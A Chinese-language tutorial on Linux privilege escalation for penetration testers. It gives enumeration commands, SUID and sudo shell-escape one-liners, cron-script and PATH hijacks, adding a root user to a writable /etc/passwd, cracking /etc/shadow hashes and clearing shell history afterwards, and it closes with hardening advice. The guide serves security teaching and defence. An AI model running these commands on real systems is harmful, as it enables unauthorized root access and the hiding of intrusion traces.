Linux渗透测试提权思路与常用方法
Linux渗透提权思路与常用方法
⚠️仅用于授权安全测试,禁止对未授权机器操作,违法将承担法律责任
提权核心:拿到普通Shell后,寻找漏洞、错误配置、权限泄漏、可执行SUID、定时任务、内核漏洞,从普通用户提升到root权限。
一、信息收集(提权第一步)
拿到shell先收集本机信息,判断提权突破口
系统版本、内核版本
uname -a
cat /etc/os-release
当前用户、id、sudo权限
id
sudo -l
查看可写目录
find / -writable -type d 2>/dev/null
SUID/SGID程序(重点!SUID程序以属主身份运行)
find / -perm -u+s -type f 2>/dev/null
计划任务crontab
crontab -l
cat /etc/crontab
ls -l /etc/cron.*
环境变量、历史命令(可能泄露密码)
env
history
cat ~/.bash_history
查看数据库、配置文件是否有明文密码
cat /etc/passwd
cat /etc/shadow # 若可读可破解hash
工具一键搜集:linpeas.sh、linenum.sh,上传到目标机器执行,自动输出提权风险点。
二、常见提权方式
- SUID 二进制提权
文件设置u+s,执行时拥有文件属主权限,如果属主是root,普通用户运行就拥有root权限。
常见可利用SUID
• /bin/bash:如果设置SUID
bash -p # -p保留SUID权限,直接拿到root shell
• /find SUID
find . -exec /bin/sh ; -quit
• /vim SUID
vim -c ‘:!/bin/sh’
• /nmap老版本交互模式
nmap --interactive
!sh
注意:现代系统很多二进制不再支持SUID提权,要看实际版本。
2. Sudo错误配置提权 sudo -l
sudo -l查看当前用户允许sudo执行哪些命令,很多配置错误允许普通用户sudo运行危险程序。
示例:
- 允许sudo执行find
sudo find . -exec /bin/sh ; -quit - 允许sudo执行vim
sudo vim -c ‘:!/bin/bash’ - 允许sudo执行less/more
sudo less /etc/profile
!bash - 允许sudo执行python
sudo python3 -c ‘import os;os.system(“/bin/bash”)’ - Cron定时任务提权
场景:root的crontab调用的脚本/程序,普通用户拥有写权限。
root定时任务执行我们可控的脚本,执行时就是root权限。
发现/etc/cron.d/xxx里面执行/tmp/run.sh,而/tmp/run.sh我们可写。
改写run.sh写入反弹shell或者/bin/bash
echo ‘chmod u+s /bin/bash’ > /tmp/run.sh
等待cron执行,之后 bash -p 获取root
常见目录:/etc/cron.hourly /etc/cron.daily /etc/cron.d
4. 内核漏洞提权
内核存在本地提权CVE,普通用户执行exp拿到root。
• 经典:CVE‑2016‑5195 Dirty COW(脏牛),低版本Linux
• CVE‑2021‑3156 sudo溢出
• CVE‑2022‑0847 Dirty Pipe
流程:
uname -r获取内核版本
查找对应exp,编译上传到目标,本地执行exp获取root
风险:内核exp不稳定,有可能导致机器宕机,测试环境慎用。密码泄露提权
读取/etc/shadow,拿到用户密码hash,本地john/hashcat爆破密码
拿到密码后直接su root或sudo su各种配置文件、历史命令、数据库配置中明文root密码:
~/.bash_history、web配置文件config.php、/etc/mysql/my.cnf环境变量劫持提权
当root运行的程序调用外部命令,没有写绝对路径。
修改PATH,把恶意同名脚本放到PATH前面,root执行时调用恶意程序。
示例:root的suid程序调用ls,不写全路径。我们写恶意ls,把当前目录加入PATH,执行suid程序就触发。
- 可写/etc/passwd /etc/shadow
普通用户如果可写/etc/passwd,直接新增root账号:
生成密码hash
openssl passwd -1 123456
在passwd增加一行
hack:111xxxxxx:0:0::/root:/bin/bash
su hack 就是root权限
三、提权常用工具
- LinPEAS:最常用,自动扫描全部提权点
靶机无网络,本机下载,上传靶机
chmod +x linpeas.sh
./linpeas.sh
2. Linenum:老版本信息搜集脚本
- GTFOBins网站:👉 遇到可sudo/suid的程序,直接查GTFOBins,获取对应的shell payload
https://gtfobins.github.io/ 渗透必备,几乎所有二进制提权payload都在这里。
四、提权后痕迹简单处理(测试环境)
清除history
history -c
echo ‘’ > ~/.bash_history
删除上传的exp脚本
rm -rf exp linpeas.sh
五、防御建议(安全加固角度)
定期升级内核、sudo,修补本地提权CVE
清理无用SUID文件,最小化SUID程序
严格配置sudo权限,不允许普通用户sudo运行解释器、find/vim/python等高危程序
cron脚本设置权限,普通用户不可写root的定时脚本和脚本文件
禁止普通用户读取shadow,配置文件禁止存放明文密码
定期运行linpeas自查风险配置
简单实操流程总结
拿到低权限shell → 执行linpeas做信息搜集 → 优先看sudo -l、SUID、cron任务 → 有可利用点直接拿root;没有再看内核版本,尝试内核exp;最后找泄露密码。